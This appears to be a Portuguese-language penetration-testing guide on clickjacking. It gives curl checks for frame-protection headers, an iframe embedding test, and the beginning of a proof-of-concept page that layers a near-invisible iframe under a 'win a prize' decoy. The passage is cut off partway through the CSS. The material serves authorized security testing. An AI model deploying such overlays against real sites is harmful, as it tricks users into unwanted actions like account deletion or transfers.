Testando Ataques de Clickjacking

Quando Usar

• Durante testes de penetração autorizados ao avaliar vulnerabilidades de UI redressing (redirecionamento de interface).
• Ao testar se ações sensíveis (excluir conta, transferir fundos, alterar configurações) podem ser realizadas via clickjacking.
• Para avaliar a eficácia das diretivas X-Frame-Options e Content-Security-Policy frame-ancestors.
• Ao avaliar aplicações que processam ações de "um clique" sem confirmação adicional.
• Durante auditorias de segurança de aplicações que lidam com transações financeiras ou gerenciamento de contas.

Pré-requisitos

• Autorização: Acordo escrito de teste de penetração para o alvo.
• Navegador Web: Navegador moderno para testar a incorporação em iframes.
• Servidor Web Local: Python http.server ou similar para hospedar páginas de Prova de Conceito (PoC).
• Burp Suite: Para examinar cabeçalhos de resposta.
• Conhecimento de HTML/CSS: Para criar páginas de sobreposição de clickjacking.
• curl: Para verificar cabeçalhos de framing em páginas de destino.

Aviso Legal: Esta habilidade destina-se apenas a testes de segurança autorizados e fins educacionais. O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão escrita para testar é ilegal e pode violar leis de fraude computacional.

Fluxo de Trabalho

Passo 1: Verificar Proteções de Incorporação em Frame

Examine os cabeçalhos de resposta em busca de defesas anti-clickjacking.

# Check X-Frame-Options header
curl -s -I "https://target.example.com/" | grep -i "x-frame-options"
# Expected values:
# X-Frame-Options: DENY (blocks all framing)
# X-Frame-Options: SAMEORIGIN (allows same-origin framing)
# X-Frame-Options: ALLOW-FROM https://trusted.com (deprecated, limited support)

# Check Content-Security-Policy frame-ancestors directive
curl -s -I "https://target.example.com/" | grep -i "content-security-policy"
# Look for: frame-ancestors 'none' or frame-ancestors 'self'
# frame-ancestors 'none' = equivalent to DENY
# frame-ancestors 'self' = equivalent to SAMEORIGIN

# Test multiple sensitive pages
for page in / /account/settings /account/delete /transfer \
  /admin/dashboard /change-password /change-email; do
  echo -n "$page: "
  headers=$(curl -s -I "https://target.example.com$page")
  xfo=$(echo "$headers" | grep -i "x-frame-options" | tr -d '\r')
  csp=$(echo "$headers" | grep -i "content-security-policy" | grep -o "frame-ancestors[^;]*" | tr -d '\r')
  if [ -z "$xfo" ] && [ -z "$csp" ]; then
    echo "NO PROTECTION"
  else
    echo "${xfo:-none} | ${csp:-none}"
  fi
done

# Check if JavaScript frame-busting is used (weak protection)
curl -s "https://target.example.com/" | grep -i "top.location\|parent.location\|frameElement"

Passo 2: Testar Incorporação Básica em Iframe

Tente incorporar a página de destino em um iframe para confirmar a vulnerabilidade.

<!-- basic-frame-test.html -->
<html>
<head><title>Clickjacking Frame Test</title></head>
<body>
<h1>Frame Embedding Test</h1>
<p>If the target page loads below, it is vulnerable to clickjacking.</p>

<!-- Test basic framing -->
<iframe src="https://target.example.com/account/settings"
        width="800" height="600"
        style="border: 2px solid red;">
</iframe>

<p>If you see "Refused to display" in console or blank iframe,
   the page has frame protection.</p>
</body>
</html>

# Host the test page
cd /tmp
cat > frame-test.html << 'EOF'
<html>
<body>
<h1>Clickjacking Test</h1>
<iframe src="https://target.example.com/account/settings"
        width="800" height="600"></iframe>
</body>
</html>
EOF
python3 -m http.server 8888
# Open http://localhost:8888/frame-test.html in browser
# Check browser console for framing errors

Passo 3: Criar Prova de Conceito de Clickjacking

Construa um ataque de sobreposição que engana os usuários para que cliquem em elementos ocultos.

<!-- clickjacking-poc.html -->
<html>
<head>
<title>Ganhe um Prêmio!</title>
<style>
  body {
    margin: 0;
    padding: 0;
    font-family: Arial, sans-serif;
  }

  /* Iframe invisível contendo a página de destino */
  #target-frame {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    opacity: 0.0001;  /* Quase invisível */
    z-index: 2;       /* Acima da isca */
    border: none;
  }

  /* Conteúdo de isca que engana o usuário */
  #decoy {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    z-index: 1;
    background: white;
  }

  /* Posiciona o botão "Clique aqui" exatamente sobre o
     botão sensível do alvo (ajuste os valores de top/left com base no layout do alvo) */
  #click-bait {
    position: absolute;

…